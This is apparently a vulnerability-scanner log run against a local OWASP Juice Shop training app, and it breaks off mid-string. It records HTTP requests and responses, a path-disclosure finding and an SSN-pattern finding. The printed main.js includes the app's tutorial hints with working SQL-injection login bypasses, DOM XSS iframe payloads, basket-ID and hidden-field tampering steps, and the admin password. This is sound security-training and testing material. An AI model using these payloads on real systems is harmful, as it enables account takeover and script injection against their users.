href="styles.css"></noscript></head>\n<body class="mat-app-background bluegrey-lightgreen-theme">\n <app-root></app-root>\n<script src="runtime.js" type="module"></script><script src="polyfills.js" type="module"></script><script src="vendor.js" type="module"></script><script src="main.js" type="module"></script>\n\n</body></html>'
SUBSCRIPTIONS http://localhost:3000/ HTTP/1.1 User-agent: w4af.net Accept-encoding: gzip, deflate Host: localhost:3000 Accept: */*
b'HTTP/1.1 400 Bad Request\r\nConnection: close\r\n' b''
TEXTSEARCH http://localhost:3000/ HTTP/1.1 User-agent: w4af.net Accept-encoding: gzip, deflate Host: localhost:3000 Accept: */*
b'HTTP/1.1 400 Bad Request\r\nConnection: close\r\n' b''
UNLOCK http://localhost:3000/ HTTP/1.1 User-agent: w4af.net Accept-encoding: gzip, deflate Host: localhost:3000 Accept: */*
b'HTTP/1.1 200 OK\r\nAccess-Control-Allow-Origin: *\r\nX-Content-Type-Options: nosniff\r\nX-Frame-Options: SAMEORIGIN\r\nFeature-Policy: payment \'self\'\r\nX-Recruiting: /#/jobs\r\nAccept-Ranges: bytes\r\nCache-Control: public, max-age=0\r\nLast-Modified: Tue, 05 Mar 2024 22:20:47 GMT\r\nETag: W/"ea4-18e10b47bc6"\r\nContent-Type: text/html; charset=UTF-8\r\nVary: Accept-Encoding\r\nContent-Encoding: gzip\r\nDate: Tue, 05 Mar 2024 22:26:37 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\nTransfer-Encoding: chunked\r\n'
b'<!--\n ~ Copyright (c) 2014-2023 Bjoern Kimminich & the OWASP Juice Shop contributors.\n ~ SPDX-License-Identifier: MIT\n --><!DOCTYPE html><html lang="en"><head>\n <meta charset="utf-8">\n <title>OWASP Juice Shop</title>\n <meta name="description" content="Probably the most modern and sophisticated insecure web application">\n <meta name="viewport" content="width=device-width, initial-scale=1">\n <link id="favicon" rel="icon" type="image/x-icon" href="assets/public/favicon_js.ico">\n <link rel="stylesheet" type="text/css" href="//cdnjs.cloudflare.com/ajax/libs/cookieconsent2/3.1.0/cookieconsent.min.css">\n <script src="//cdnjs.cloudflare.com/ajax/libs/cookieconsent2/3.1.0/cookieconsent.min.js"></script>\n <script src="//cdnjs.cloudflare.com/ajax/libs/jquery/2.2.4/jquery.min.js"></script>\n <script>\n window.addEventListener("load", function(){\n window.cookieconsent.initialise({\n "palette": {\n "popup": { "background": "var(--theme-primary)", "text": "var(--theme-text)" },\n "button": { "background": "var(--theme-accent)", "text": "var(--theme-text)" }\n },\n "theme": "classic",\n "position": "bottom-right",\n "content": { "message": "This website uses fruit cookies to ensure you get the juiciest tracking experience.", "dismiss": "Me want it!", "link": "But me wait!", "href": "https://www.youtube.com/watch?v=9PnbKL3wuH4" }\n })});\n </script>\n<style>.bluegrey-lightgreen-theme{--theme-primary:#546e7a;--theme-primary-lighter:#607e8c;--theme-primary-light:#698998;--theme-primary-darker:#485e68;--theme-primary-dark:#3f535c;--theme-primary-fade-10:rgba(84, 110, 122, .9);--theme-primary-fade-20:rgba(84, 110, 122, .8);--theme-primary-fade-30:rgba(84, 110, 122, .7);--theme-primary-fade-40:rgba(84, 110, 122, .6);--theme-primary-fade-50:rgba(84, 110, 122, .5);--theme-accent:#689f38;--theme-accent-lighter:#77b640;--theme-accent-light:#81bf4b;--theme-accent-darker:#598830;--theme-accent-dark:#4f792b;--theme-accent-fade-10:rgba(104, 159, 56, .9);--theme-accent-fade-20:rgba(104, 159, 56, .8);--theme-accent-fade-30:rgba(104, 159, 56, .7);--theme-accent-fade-40:rgba(104, 159, 56, .6);--theme-accent-fade-50:rgba(104, 159, 56, .5);--theme-warn:#ff5722;--theme-warn-lighter:#ff6e41;--theme-warn-light:#ff7e55;--theme-warn-darker:#ff4003;--theme-warn-dark:#ee3900;--theme-warn-fade-10:rgba(255, 87, 34, .9);--theme-warn-fade-20:rgba(255, 87, 34, .8);--theme-warn-fade-30:rgba(255, 87, 34, .7);--theme-warn-fade-40:rgba(255, 87, 34, .6);--theme-warn-fade-50:rgba(255, 87, 34, .5);--theme-text:white;--theme-text-lighter:white;--theme-text-light:white;--theme-text-darker:#e6e6e6;--theme-text-dark:#bfbfbf;--theme-text-fade-10:rgba(255, 255, 255, .9);--theme-text-fade-20:rgba(255, 255, 255, .8);--theme-text-fade-30:rgba(255, 255, 255, .7);--theme-text-fade-40:rgba(255, 255, 255, .6);--theme-text-fade-50:rgba(255, 255, 255, .5);--theme-text-invert-15:#d9d9d9;--theme-text-invert-30:#b3b3b3;--theme-background:#424242;--theme-background-lighter:#515151;--theme-background-light:#5c5c5c;--theme-background-darker:#333333;--theme-background-dark:#292929;--theme-background-darkest:#1e1e1e}.bluegrey-lightgreen-theme.mat-app-background{background-color:#303030;color:#fff}@media screen and (-webkit-min-device-pixel-ratio:0){}</style><link rel="stylesheet" href="styles.css" media="print" onload="this.media=\'all\'"><noscript><link rel="stylesheet" href="styles.css"></noscript></head>\n<body class="mat-app-background bluegrey-lightgreen-theme">\n <app-root></app-root>\n<script src="runtime.js" type="module"></script><script src="polyfills.js" type="module"></script><script src="vendor.js" type="module"></script><script src="main.js" type="module"></script>\n\n</body></html>'
The URL: "http://localhost:3000/api" has a path disclosure vulnerability which discloses "/home/kali/Scanners/juice-shop/build/routes/angular.js". This vulnerability was found in the request with id 90.
GET http://localhost:3000/api HTTP/1.1 User-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 OPR/102.0.0.0 Host: localhost:3000 Pragma: no-cache Cache-control: no-cache Accept-encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-length: 0 Accept: */*
b"HTTP/1.1 500 Internal Server Error\r\nAccess-Control-Allow-Origin: *\r\nX-Content-Type-Options: nosniff\r\nX-Frame-Options: SAMEORIGIN\r\nFeature-Policy: payment 'self'\r\nX-Recruiting: /#/jobs\r\nContent-Type: text/html; charset=utf-8\r\nVary: Accept-Encoding\r\nContent-Encoding: gzip\r\nDate: Tue, 05 Mar 2024 22:26:53 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\nTransfer-Encoding: chunked\r\n"
b'<html>\n <head>\n <meta charset=\'utf-8\'> \n <title>Error: Unexpected path: /api</title>\n <style>* {\n margin: 0;\n padding: 0;\n outline: 0;\n}\n\nbody {\n padding: 80px 100px;\n font: 13px "Helvetica Neue", "Lucida Grande", "Arial";\n background: #ECE9E9 -webkit-gradient(linear, 0% 0%, 0% 100%, from(#fff), to(#ECE9E9));\n background: #ECE9E9 -moz-linear-gradient(top, #fff, #ECE9E9);\n background-repeat: no-repeat;\n color: #555;\n -webkit-font-smoothing: antialiased;\n}\nh1, h2 {\n font-size: 22px;\n color: #343434;\n}\nh1 em, h2 em {\n padding: 0 5px;\n font-weight: normal;\n}\nh1 {\n font-size: 60px;\n}\nh2 {\n margin-top: 10px;\n}\nul li {\n list-style: none;\n}\n#stacktrace {\n margin-left: 60px;\n}\n</style>\n </head>\n <body>\n <div id="wrapper">\n <h1>OWASP Juice Shop (Express ^4.17.1)</h1>\n <h2><em>500</em> Error: Unexpected path: /api</h2>\n <ul id="stacktrace"><li> at /home/kali/Scanners/juice-shop/build/routes/angular.js:38:18</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at trim_prefix (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:328:13)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:286:9</li><li> at Function.process_params (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:346:12)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:280:10)</li><li> at /home/kali/Scanners/juice-shop/build/routes/verify.js:168:5</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at trim_prefix (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:328:13)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:286:9</li><li> at Function.process_params (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:346:12)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:280:10)</li><li> at /home/kali/Scanners/juice-shop/build/routes/verify.js:105:5</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at trim_prefix (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:328:13)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:286:9</li><li> at Function.process_params (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:346:12)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:280:10)</li><li> at logger (/home/kali/Scanners/juice-shop/node_modules/morgan/index.js:144:5)</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at trim_prefix (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:328:13)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:286:9</li></ul>\n </div>\n </body>\n</html>\n'
The URL: "http://localhost:3000/main.js" possibly discloses US Social Security Number: "384-94-8954". This vulnerability was found in the request with id 109.
The US Social Security Number (SSN) is a personally identifiable number that is issued to its citizens.
A stolen or leaked SSN can lead to a compromise, and/or the theft of the affected individual's identity.
Through the use of regular expressions, the tool has discovered an SSN located within the response of the affected page.
Initially, the SSN within the response should be checked to ensure its validity, as it is possible that the regular expression has matched a similar number with no relation to a real SSN.
If the response does contain a valid SSN, then all efforts should be taken to remove or further protect this information. This can be achieved by removing the SSN altogether or by masking the number so that only the last few digits are present within the response (eg. ****123).
GET http://localhost:3000/main.js HTTP/1.1 User-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 OPR/102.0.0.0 Host: localhost:3000 Pragma: no-cache Cache-control: no-cache Accept-encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-length: 0 Accept: */*
b'HTTP/1.1 200 OK\r\nAccess-Control-Allow-Origin: *\r\nX-Content-Type-Options: nosniff\r\nX-Frame-Options: SAMEORIGIN\r\nFeature-Policy: payment \'self\'\r\nX-Recruiting: /#/jobs\r\nAccept-Ranges: bytes\r\nCache-Control: public, max-age=0\r\nLast-Modified: Wed, 28 Feb 2024 19:21:33 GMT\r\nETag: W/"7814d-18df12a3c67"\r\nContent-Type: application/javascript; charset=UTF-8\r\nVary: Accept-Encoding\r\nContent-Encoding: gzip\r\nDate: Tue, 05 Mar 2024 22:26:57 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\nTransfer-Encoding: chunked\r\n'
b'"use strict";(self.webpackChunkfrontend=self.webpackChunkfrontend||[]).push([[179],{4550:(tt,K,c)=>{c.d(K,{e:()=>s});var k=c(2340),t=c(4850),w=c(7221),L=c(4650),I=c(529);let s=(()=>{class b{constructor(Z){this.http=Z,this.hostServer=k.N.hostServer,this.host=this.hostServer+"/rest/admin"}getApplicationConfiguration(){return this.configObservable||(this.configObservable=this.http.get(this.host+"/application-configuration").pipe((0,t.U)(Z=>Z.config,(0,w.K)(Z=>{throw Z})))),this.configObservable}}return b.\\u0275fac=function(Z){return new(Z||b)(L.LFG(I.eN))},b.\\u0275prov=L.Yz7({token:b,factory:b.\\u0275fac,providedIn:"root"}),b})()},5376:(tt,K,c)=>{c.d(K,{t:()=>s});var k=c(4850),t=c(7221),w=c(2340),L=c(4650),I=c(529);let s=(()=>{class b{constructor(Z){this.http=Z,this.hostServer=w.N.hostServer,this.host=this.hostServer+"/rest/web3"}nftUnlocked(){return this.http.get(this.host+"/nftUnlocked").pipe((0,k.U)(Z=>Z),(0,t.K)(Z=>{throw Z}))}nftMintListen(){return this.http.get(this.host+"/nftMintListen").pipe((0,k.U)(Z=>Z),(0,t.K)(Z=>{throw Z}))}checkNftMinted(){return this.http.get(this.hostServer+"/api/Challenges/?key=nftMintChallenge").pipe((0,k.U)(Z=>Z),(0,t.K)(Z=>{throw Z}))}submitKey(Z){return this.http.post(this.host+"/submitKey",{privateKey:Z}).pipe((0,k.U)(u=>u),(0,t.K)(u=>{throw u}))}verifyNFTWallet(Z){return this.http.post(this.host+"/walletNFTVerify",{walletAddress:Z}).pipe((0,k.U)(u=>u),(0,t.K)(u=>{throw u}))}walletAddressSend(Z){return this.http.post(this.host+"/walletExploitAddress",{walletAddress:Z}).pipe((0,k.U)(u=>u),(0,t.K)(u=>{throw u}))}}return b.\\u0275fac=function(Z){return new(Z||b)(L.LFG(I.eN))},b.\\u0275prov=L.Yz7({token:b,factory:b.\\u0275fac,providedIn:"root"}),b})()},5004:(tt,K,c)=>{c.d(K,{H:()=>L});var k=c(4650),t=c(1195),w=c(7009);let L=(()=>{class I{constructor(b,O){this.translateService=b,this.snackBar=O}open(b,O){this.translateService.get(b).subscribe(Z=>{this.snackBar.open(Z,"X",{duration:5e3,panelClass:O})},()=>{this.snackBar.open(b,"X",{duration:5e3,panelClass:O})})}}return I.\\u0275fac=function(b){return new(b||I)(k.LFG(t.sK),k.LFG(w.ux))},I.\\u0275prov=k.Yz7({token:I,factory:I.\\u0275fac,providedIn:"root"}),I})()},2340:(tt,K,c)=>{c.d(K,{N:()=>k});const k={production:!0,hostServer:"."}},1096:(tt,K,c)=>{c.r(K),c.d(K,{hasInstructions:()=>Yt,startHackingInstructorFor:()=>Jt});var k=c(5861),t=c(8111);let w;const L={faster:.5,fast:.75,normal:1,slow:1.25,slower:1.5};function I(y){return s.apply(this,arguments)}function s(){return(s=(0,k.Z)(function*(y){yield new Promise(S=>{setTimeout(S,y)})})).apply(this,arguments)}function b(y,S,M={ignoreCase:!0,replacement:[]}){return(0,k.Z)(function*(){const E=document.querySelector(y);if(2===M.replacement?.length){w||(w=(yield(yield fetch("/rest/admin/application-configuration")).json()).config);const j=M.replacement[1].split(".");let et=w;for(const G of j)et=et[G];S=S.replace(M.replacement[0],et)}for(;(!M.ignoreCase||E.value.toLowerCase()!==S.toLowerCase())&&(M.ignoreCase||E.value!==S);)yield I(100)})}function Z(y,S,M={ignoreCase:!0}){return(0,k.Z)(function*(){const E=document.querySelector(y);for(;;){if(""!==E.value){if(M.ignoreCase&&E.value.toLowerCase()!==S.toLowerCase())break;if(!M.ignoreCase&&E.value!==S)break}yield I(100)}})}function g(y){return(0,k.Z)(function*(){const S=document.querySelector(y);for(;!S.value||""===S.value;)yield I(100)})}function D(y){return(0,k.Z)(function*(){const S=document.querySelector(y);S||console.warn(`Could not find Element with selector "${y}"`),yield new Promise(M=>{S.addEventListener("click",()=>{M()})})})}function u(y,S){return(0,k.Z)(function*(){for(;;){const M=document.querySelector(y);if(M&&M.innerHTML===S)break;yield I(100)}})}function p(y){return(0,k.Z)(function*(){w||(w=(yield(yield fetch("/rest/admin/application-configuration")).json()).config);let S=L[w.hackingInstructor.hintPlaybackSpeed];S??(S=1),yield I(y*S)})}function x(y){return(0,k.Z)(function*(){for(;window.location.hash!==`#/${y}`;)yield I(100)})}function T(){return(0,k.Z)(function*(){for(;null===localStorage.getItem("token");)yield I(100)})}function lt(){return(0,k.Z)(function*(){for(;null!==localStorage.getItem("token");)yield I(100)})}function gt(){let y=!1;const S=new Image;return Object.defineProperty(S,"id",{get:function(){y=!0}}),(0,k.Z)(function*(){for(;console.dir(S),console.clear(),!y;)yield I(100)})}const _={name:"Login Admin",hints:[{text:"To start this challenge, you\'ll have to log out first.",fixture:"#navbarAccount",unskippable:!0,resolved:lt()},{text:"Let\'s try if we find a way to log in with the administrator\'s user account. To begin, go to the _Login_ page via the _Account_ menu.",fixture:"app-navbar",fixtureAfter:!0,unskippable:!0,resolved:x("login")},{text:"To find a way around the normal login process we will try to use a **SQL Injection** (SQLi) attack.",fixture:"#email",resolved:p(8e3)},{text:"A good starting point for simple SQL Injections is to insert quotation marks (like `\\"` or `\'`). These mess with the syntax of an insecurely concatenated query and might give you feedback if an endpoint is vulnerable or not.",fixture:"#email",resolved:p(15e3)},{text:"Start with entering `\'` in the **email field**.",fixture:"#email",unskippable:!0,resolved:b("#email","\'")},{text:"Now put anything in the **password field**. It doesn\'t matter what.",fixture:"#password",unskippable:!0,resolved:g("#password")},{text:"Press the _Log in_ button.",fixture:"#rememberMe",unskippable:!0,resolved:D("#loginButton")},{text:"Nice! Do you see the red `[object Object]` error at the top? Unfortunately it isn\'t really telling us much about what went wrong...",fixture:"#rememberMe",resolved:p(1e4)},{text:"Maybe you will be able to find out more information about the error in the JavaScript console or the network tab of your browser!",fixture:"#rememberMe",resolved:p(1e4)},{text:"Did you spot the error message with the `SQLITE_ERROR` and the entire SQL query in the 500 response to `/login`? If not, keep the network tab open and click _Log in_ again. Then inspect the occuring response closely.",fixture:"#rememberMe",resolved:p(3e4)},{text:"Let\'s try to manipulate the query a bit to make it useful. Try out typing `\' OR true` into the **email field**.",fixture:"#email",unskippable:!0,resolved:b("#email","\' OR true")},{text:"Now click the _Log in_ button again.",fixture:"#rememberMe",unskippable:!0,resolved:D("#loginButton")},{text:"Mhh... The query is still invalid? Can you see why from the new error in the HTTP response?",fixture:"#rememberMe",resolved:p(8e3)},{text:"We need to make sure that the rest of the query after our injection doesn\'t get executed. Any Ideas?",fixture:"#rememberMe",resolved:p(8e3)},{text:"You can comment out anything after your injection payload from query using comments in SQL. In SQLite databases you can use `--` for that.",fixture:"#rememberMe",resolved:p(1e4)},{text:"So, type in `\' OR true--` into the email field.",fixture:"#email",unskippable:!0,resolved:b("#email","\' OR true--")},{text:"Press the _Log in_ button again and sit back...",fixture:"#rememberMe",unskippable:!0,resolved:D("#loginButton")},{text:"That worked, right?! To see with whose account you just logged in, open the _Account_ menu.",fixture:"#navbarAccount",unskippable:!0,resolved:D("#navbarAccount")},{text:"\\u{1f389} Congratulations! You have been logged in as the **administrator** of the shop! (If you want to understand why, try to reproduce what your `\' OR true--` did _exactly_ to the query.)",fixture:"app-navbar",resolved:p(2e4)}]},kt={name:"DOM XSS",hints:[{text:"For this challenge, we\'ll take a close look at the _Search_ field at the top of the screen.",fixture:".fill-remaining-space",unskippable:!0,resolved:p(8e3)},{text:"Let\'s start by searching for all products containing `owasp` in their name or description.",fixture:".fill-remaining-space",unskippable:!0,resolved:b("#searchQuery input","owasp")},{text:"Now hit enter.",fixture:".fill-remaining-space",unskippable:!0,resolved:u("#searchValue","owasp")},{text:"Nice! You should now see many cool OWASP-related products.",fixture:".fill-remaining-space",resolved:p(8e3)},{text:"You might have noticed, that your search term is displayed above the results?",fixture:"app-search-result",resolved:p(8e3)},{text:"What we will try now is a **Cross-Site Scripting (XSS)** attack, where we try to inject HTML or JavaScript code into the application.",fixture:"app-search-result",resolved:p(15e3)},{text:"Change your search value into `<h1>owasp` to see if we can inject HTML.",fixture:".fill-remaining-space",unskippable:!0,resolved:b("#searchQuery input","<h1>owasp")},{text:"Hit enter again.",fixture:".fill-remaining-space",unskippable:!0,resolved:u("#searchValue","<h1>owasp</h1>")},{text:"Hmm, this doesn\'t look normal, does it?",fixture:".noResult",resolved:p(8e3)},{text:"If you right-click on the search term and inspect that part of the page with your browser, you will see that our `h1`-tag was _actually_ embedded into the page and is not just shown as plain text!",fixture:".noResult",resolved:p(16e3)},{text:"Let\'s now try to inject JavaScript. Type `<script>alert(xss)<\\/script>` into the search box now.",fixture:".fill-remaining-space",unskippable:!0,resolved:b("#searchQuery input","<script>alert(xss)<\\/script>")},{text:"Hit enter again.",fixture:".fill-remaining-space",unskippable:!0,resolved:u("#searchValue","<script>alert(xss)<\\/script>")},{text:"\\u{1f614} This didn\'t work as we hoped. If you inspect the page, you should see the `script`-tag but it is not executed for some reason.",fixture:".noResult",resolved:p(1e4)},{text:\'Luckily there are _many_ different XSS payloads we can try. Let\\\'s try this one next: <code><iframe src="javascript:alert(`xss`)"></code>.\',fixture:".fill-remaining-space",unskippable:!0,resolved:b("#searchQuery input",\'<iframe src="javascript:alert(`xss`)">\')},{text:"Hit enter one more time. If an alert box appears, you must confirm it in order to close it.",fixture:".fill-remaining-space",unskippable:!0,resolved:u("#searchValue",\'<iframe src="javascript:alert(`xss`)"></iframe>\')},{text:"\\u{1f389} Congratulations! You just successfully performed an XSS attack!",fixture:".noResult",resolved:p(8e3)},{text:"More precisely, this was a **DOM XSS** attack, because your payload was handled and improperly embedded into the page by the application frontend code without even sending it to the server.",fixture:".noResult",resolved:p(16e3)}]},R={name:"Score Board",hints:[{text:"This application is riddled with security vulnerabilities. Your progress exploiting these is tracked on a _Score Board_.",fixture:"app-navbar",unskippable:!0,resolved:p(1e4)},{text:"You won\'t find a link to it in the navigation or side bar, though. Finding the _Score Board_ is in itself actually one of the hacking challenges.",fixture:"app-navbar",resolved:p(12e3)},{text:"You could just start guessing the URL of the _Score Board_ or comb through the client-side JavaScript code for useful information.",fixture:"app-navbar",resolved:p(12e3)},{text:"You find the JavaScript code in the DevTools of your browser that will open with `F12`.",fixture:"app-navbar",resolved:gt()},{text:"Look through the client-side JavaScript in the _Sources_ tab for clues. Or just start URL guessing. It\'s up to you!",fixture:"app-navbar",unskippable:!0,resolved:x("score-board")},{text:"\\u{1f389} Congratulations! You found the _Score Board_! Good luck and happy hacking!",fixture:"app-score-board",resolved:p(6e4)}]},U={name:"Privacy Policy",hints:[{text:"Log in with any user to begin this challenge. You can use an existing or freshly registered account.",fixture:"app-navbar",fixtureAfter:!0,unskippable:!0,resolved:T()},{text:"Great, you are logged in! Now open the _Account_ menu.",fixture:"#navbarAccount",resolved:D("#navbarAccount")},{text:"Open the _Privacy & Security_ sub-menu and click _Privacy Policy_.",fixture:"app-navbar",unskippable:!0,resolved:x("privacy-security/privacy-policy")},{text:"\\u{1f389} That was super easy, right? This challenge is a bit of a joke actually, because nobody reads any fine print online... \\u{1f648}",fixture:"app-navbar",resolved:p(6e4)}]},Bt={name:"Login Jim",hints:[{text:"To start this challenge, you\'ll have to log out first.",fixture:"#navbarAccount",unskippable:!0,resolved:lt()},{text:"Let\'s try if we find a way to log in with Jim\'s user account. To begin, go to the _Login_ page via the _Account_ menu.",fixture:"app-navbar",fixtureAfter:!0,unskippable:!0,resolved:x("login")},{text:"As you would expect you need to supply Jim\'s email address and password to log in regularly. But you might have neither at the moment.",fixture:"app-navbar",resolved:p(15e3)},{text:"If we had at least the email address, we could then try a **SQL Injection** (SQLi) attack to avoid having to supply a password.",fixture:"app-navbar",resolved:p(15e3)},{text:"So, let\'s go find out Jim\'s email! Luckily the shop is very bad with privacy and leaks emails in different places, for instance in the product reviews.",fixture:"app-navbar",resolved:p(15e3)},{text:"Go back to the product list and click on some to open their details dialog which also hold the user reviews.",fixture:".fill-remaining-space",resolved:x("search")},{text:"Once you found a user review by Jim and learned his email, go to the _Login_ screen.",fixture:".fill-remaining-space",unskippable:!0,resolved:x("login")},{text:"Supply Jim\'s email address in the **email field**.",fixture:"#email",unskippable:!0,resolved:b("#email","jim@juice-sh.op",{replacement:["juice-sh.op","application.domain"]})},{text:"Now put anything in the **password field**. Let\'s assume we don\'t know it yet, even if you happen to already do.",fixture:"#password",unskippable:!0,resolved:Z("#password","ncc-1701")},{text:"Press the _Log in_ button.",fixture:"#rememberMe",unskippable:!0,resolved:D("#loginButton")},{text:"This didn\'t work, but did you honestly expect it to? We need to craft an SQLi attack first!",fixture:"#rememberMe",resolved:p(1e4)},{text:"You can comment out the entire password check clause of the DB query by adding `\'--` to Jim\'s email address!",fixture:"#email",unskippable:!0,resolved:b("#email","jim@juice-sh.op\'--",{replacement:["juice-sh.op","application.domain"]})},{text:"Now click the _Log in_ button again.",fixture:"#rememberMe",unskippable:!0,resolved:D("#loginButton")},{text:"\\u{1f389} Congratulations! You have been logged in as Jim!",fixture:"app-navbar",resolved:p(5e3)}]},X={name:"View Basket",hints:[{text:"This challenge is about **Horizontal Privilege Escalation**, meaning you are supposed to access data that does not belong to your own account but to another user\'s.",fixture:"app-navbar",resolved:p(18e3)},{text:"To start this challenge, you\'ll have to log in first.",fixture:"app-navbar",unskippable:!0,resolved:T()},{text:"First, go to the _Your Basket_ page to view your own shopping basket. It\'s likely to be empty, if you didn\'t add anything yet.",fixture:"app-navbar",unskippable:!0,resolved:x("basket")},{text:"To pass this challenge, you will need to peek into another user\'s basket while remaining logged in with your own account.",fixture:"app-navbar",resolved:p(8e3)},{text:"If the application stores a reference to the basket somewhere in the browser, that might be a possible attack vector.",fixture:"app-navbar",resolved:p(12e3)},{text:"Open the browser\'s _Development Tools_ and locate the _Session Storage_ tab. Similar to \\u{1f36a}s, it can be used to store data in key/value pairs for each website.",fixture:"app-navbar",resolved:gt()},{text:"Look over the names of the used session keys. Do you see something that might be related to the shopping basket? Try setting it to a different value! \\u270d\\ufe0f",fixture:"app-navbar",unskippable:!0,resolved:()=>(0,k.Z)(function*(){const y=sessionStorage.getItem("bid");for(;sessionStorage.getItem("bid")===y;)yield I(100)})()},{text:"Great, you have changed the `bid` value which might be some ID for the shopping basket!",fixture:"app-navbar",resolved:p(8e3)},{text:"Now, go to any other screen and then back to _Your Basket_. If nothing happens you might have set an invalid or non-existing `bid`. Try another in that case.",fixture:"app-navbar",fixtureAfter:!0,unskippable:!0,resolved:()=>(0,k.Z)(function*(){const y=sessionStorage.getItem("itemTotal");for(;sessionStorage.getItem("itemTotal")===y;)yield I(100)})()},{text:"\\u{1f389} Congratulations! You are now viewing another user\'s shopping basket!",fixture:"app-basket",resolved:p(15e3)}]},It={name:"Forged Feedback",hints:[{text:"To start this challenge, first go to the _Customer Feedback_ page.",fixture:"app-navbar",fixtureAfter:!0,unskippable:!0,resolved:x("contact")},{text:"This challenge is about broken access controls. To pass it, you need to impersonate another user while providing feedback.",fixture:"app-navbar",resolved:p(1e4)},{text:"If you would now submit feedback, it would be posted by yourself while logged in or anonymously while logged out.",fixture:"app-navbar",resolved:p(1e4)},{text:"We will now search for any mistake the application developers might have made in setting the author of any new feedback.",fixture:"app-navbar",resolved:p(1e4)},{text:"Open the browser\'s _Development Tools_ and try finding anything interesting while inspecting the feedback form.",fixture:"app-navbar",resolved:gt()},{text:"There is more than meets the eye among the fields of the form... \\u{1f609}",fixture:"app-navbar",resolved:p(8e3)},{text:"Once you found the field that shouldn\'t even be there, try manipulating its value to one that might represent another user!",fixture:"app-navbar",unskippable:!0,resolved:()=>(0,k.Z)(function*(){const y=document.getElementById("userId").value;for(;document.getElementById("userId").value===y;)yield I(100)})()},{text:"You found and changed the invisible `userId`! Now submit the form to complete the challenge.",fixture:"app-navbar",unskippable:!0,resolved:D("#submitButton")},{text:"\\u{1f389} Congratulations, you successfully submitted a feedback as another user!",fixture:"app-navbar",resolved:p(15e3)}]},ct={name:"Password Strength",hints:[{text:"To start this challenge, you\'ll have to log out first.",fixture:"#navbarAccount",unskippable:!0,resolved:lt()},{text:"In this challenge we\'ll try to log into the administrator\'s user account using his original credentials.",fixture:"app-navbar",resolved:p(7e3)},{text:"If you don\'t know it already, you must first find out the admin\'s email address. The user feedback and product reviews are good places to look into. When you have it, go to the _Login_ page.",fixture:"app-navbar",fixtureAfter:!0,unskippable:!0,resolved:x("login")},{text:"Enter the admin\'s email address into the **email field**.",fixture:"#email",unskippable:!0,resolved:b("#email","admin@juice-sh.op")},{text:"Now for the password. Lucky for us, the admin chose a really, really, **really** stupid one. Just try any that comes to your mind!",fixture:"#password",unskippable:!0,resolved:g("#password")},{text:"\\u{1f926}\\u200d\\u2642\\ufe0f Nah, that was wrong! Keep trying! I\'ll tell you when you\'re one the right track.",fixture:"#password",unskippable:!0,resolved:b("#password","admin")},{text:"Okay, you are one the right track, but this would have been the worst password in the world for an admin. He spiced it up a little bit with some extra non-letter characters. Keep trying!",fixture:"#password",unskippable:!0,resolved:b("#password","admin1")},{text:"\\u{1f525} Yes, it\'s getting warmer! Try adding some more numbers maybe?",fixture:"#password",unskippable:!0,resolved:b("#password","admin12")},{text:"\\u{1f9ef} It\'s getting hot! Just one more digit...",fixture:"#password",unskippable:!0,resolved:b("#password","admin123")},{text:"Okay, now press the _Log in_ button.",fixture:"#rememberMe",unskippable:!0,resolved:D("#loginButton")},{text:"\\u{1f389} Congratulations! You have been logged in as the **administrator** of the shop thanks to his very ill chosen password!",fixture:"app-navbar",resolved:p(2e4)}]},W={name:"Bonus Payload",hints:[{text:"Assuming you did the **DOM XSS** tutorial already, this one just uses a funnier payload on the _Search_ field.",fixture:".fill-remaining-space",unskippable:!0,resolved:p(1e4)},{text:"Enter or paste this payload into the _Search_ field: <code><iframe width="100%" height="166" scrolling="no" frameborder="no" allow="autoplay" src="https://w.soundcloud.com/player/?url=https%3A//api.soundcloud.com/tracks/771984076&color=%23ff5500&auto_play=true&hide_related=false&show_comments=true&show_user=true&show_reposts=false&show_teaser=true"></iframe></code>.",fixture:".fill-remaining-space",unskippable:!0,resolved:b("#searchQuery input",\'<iframe width="100%" height="166" scrolling="no" frameborder="no" allow="autoplay" src="https://w.soundcloud.com/player/?url=https%3A//api.soundcloud.com/tracks/771984076&color=%23ff5500&auto_play=true&hide_related=false&show_comments=true&show_user=true&show_reposts=false&show_teaser=true"></iframe>\')},{text:"Make sure your speaker volume is cranked up. Then hit enter.",fixture:".fill-remaining-space",unskippable:!0,resolved:u("#searchValue",\'<iframe width="100%" height="166" scrolling="no" frameborder="no" allow="autoplay" src="https://w.soundcloud.com/player/?url=https%3A//api.soundcloud.com/tracks/771984076&color=%23ff5500&auto_play=true&hide_related=false&show_comments=true&show_user=true&show_reposts=false&show_teaser=true"></iframe>\')},{text:"\\u{1f389} Congratulations and enjoy the 